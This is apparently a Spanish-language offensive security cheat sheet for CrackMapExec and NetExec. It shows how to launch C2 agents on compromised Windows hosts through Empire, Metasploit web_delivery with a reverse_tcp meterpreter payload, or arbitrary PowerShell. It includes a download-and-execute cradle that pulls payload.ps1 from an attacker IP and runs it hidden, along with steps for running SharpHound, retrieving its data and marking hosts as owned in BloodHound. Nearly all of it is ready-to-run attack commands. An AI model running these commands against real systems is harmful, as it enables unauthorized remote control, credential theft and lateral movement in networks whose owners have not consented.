Getting Sessions in a C2 Framework
CME/NXC permite integrar C2 frameworks directamente ejecutando agentes en los targets comprometidos. Soporta Empire y Metasploit de forma nativa mediante módulos, y cualquier otro C2 mediante ejecución de comandos.
Links: CrackMapExec Wiki | NetExec Docs | PowerShell Empire | Empire Docs | Metasploit Framework
Empire
Configurar CME para conectarse a Empire
Editar ~/.cme/cme.conf con las credenciales del servidor Empire:
[Empire]
api_host = 127.0.0.1
api_port = 1337
username = <usuario_empire>
password = <password_empire>Módulo empire_exec
Una vez Empire tiene un listener activo, usar el módulo para ejecutar el agente en el target.
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' -M empire_exec -o LISTENER=<nombre_listener>
# NetExec
netexec smb <IP> -u <user> -p '<password>' -M empire_exec -o LISTENER=<nombre_listener>Metasploit
Configurar web_delivery en Metasploit
msfconsole
use exploit/multi/script/web_delivery
set SRVHOST <IP_ATACANTE>
set SRVPORT <PUERTO>
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <IP_ATACANTE>
set LPORT <PUERTO_CALLBACK>
run -jMetasploit devuelve una URL tipo http://<IP>:<PUERTO>/<path> para usar en CME.
Módulo web_delivery
# Ver opciones
crackmapexec smb -M web_delivery --options
netexec smb -M web_delivery --options
# Ejecutar
crackmapexec smb <IP> -u <user> -p '<password>' -M web_delivery -o URL=http://<IP_ATACANTE>:<PUERTO>/<path>
netexec smb <IP> -u <user> -p '<password>' -M web_delivery -o URL=http://<IP_ATACANTE>:<PUERTO>/<path>
# Para payload 32 bits (default es 64)
crackmapexec smb <IP> -u <user> -p '<password>' -M web_delivery -o URL=<URL> PAYLOAD=32
netexec smb <IP> -u <user> -p '<password>' -M web_delivery -o URL=<URL> PAYLOAD=32Otros C2 Frameworks
Para cualquier C2 que genere un payload PowerShell, usar -X con --no-output para ejecutarlo en background:
# Ejecutar payload PS en background
crackmapexec smb <IP> -u <user> -p '<password>' -X '<payload_powershell>' --no-output
netexec smb <IP> -u <user> -p '<password>' -X '<payload_powershell>' --no-output
# Ejemplo: descargar y ejecutar desde servidor web
crackmapexec smb <IP> -u <user> -p '<password>' -X "IEX(New-Object Net.WebClient).DownloadString('http://<IP_ATACANTE>/payload.ps1')" --no-output
netexec smb <IP> -u <user> -p '<password>' -X "IEX(New-Object Net.WebClient).DownloadString('http://<IP_ATACANTE>/payload.ps1')" --no-outputBloodHound Integration
CME puede integrarse con BloodHound para marcar automáticamente usuarios y computadoras como owned en la base de datos neo4j cada vez que se comprometen. También permite recolectar datos de BloodHound usando SharpHound.
Links: CrackMapExec Wiki | NetExec Docs | BloodHound | BloodHound Docs | SharpHound
Configurar integración con BloodHound
Editar ~/.cme/cme.conf habilitando BloodHound y apuntando a la base de datos neo4j:
[BloodHound]
bh_enabled = True
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = neo4j
bh_pass = <password_neo4j>Con esto activo, cada vez que CME comprometa un usuario mostrará Node X@DOMAIN successfully set as owned in BloodHound.
Nota: No todas las opciones de CME sincronizan con BloodHound.
--ntdsy--lsano marcan usuarios. Los módulosprocdump,lsassyy similares sí marcan usuarios como owned.
Recolectar datos con SharpHound
# Descargar SharpHound
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
# Subir al target
crackmapexec smb <IP> -u <user> -p '<password>' --put-file SharpHound.exe SharpHound.exe
netexec smb <IP> -u <user> -p '<password>' --put-file SharpHound.exe SharpHound.exe
# Ejecutar y listar el zip generado
crackmapexec smb <IP> -u <user> -p '<password>' -x "C:\SharpHound.exe -c All && dir c:\*_BloodHound.zip"
netexec smb <IP> -u <user> -p '<password>' -x "C:\SharpHound.exe -c All && dir c:\*_BloodHound.zip"
# Descargar el zip resultante
crackmapexec smb <IP> -u <user> -p '<password>' --get-file <nombre>.zip bloodhound.zip
netexec smb <IP> -u <user> -p '<password>' --get-file <nombre>.zip bloodhound.zipMarcar usuarios como owned automáticamente
Con bh_enabled = True en la config, cualquier autenticación exitosa marca al usuario como owned:
crackmapexec smb <IP> -u <user> -p '<password>'
netexec smb <IP> -u <user> -p '<password>'Marcar computadoras como owned - Módulo bh_owned
La integración automática solo marca usuarios. Para marcar computadoras usar el módulo bh_owned.
# Ver opciones
crackmapexec smb -M bh_owned --options
netexec smb -M bh_owned --options
# Marcar computadora como owned
crackmapexec smb <IP> -u <user> -p '<password>' -M bh_owned -o PASS=<password_neo4j>
netexec smb <IP> -u <user> -p '<password>' -M bh_owned -o PASS=<password_neo4j>
# Opciones disponibles
# URI — IP de la base de datos neo4j (default: 127.0.0.1)
# PORT — Puerto de neo4j (default: 7687)
# USER — Usuario de neo4j (default: neo4j)
# PASS — Contraseña de neo4j (default: neo4j)